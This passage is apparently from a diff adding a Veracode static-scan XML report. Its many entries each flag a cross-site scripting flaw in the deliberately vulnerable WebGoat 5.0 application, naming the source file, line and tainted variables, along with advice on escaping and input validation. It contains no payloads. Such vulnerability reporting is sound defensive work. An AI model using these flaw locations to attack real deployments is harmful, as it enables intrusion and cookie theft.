+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"230\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"241\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"263\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"4\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"172\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"260\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"48\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"80\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"170\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"29\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"172\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"205\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"174\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"85\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
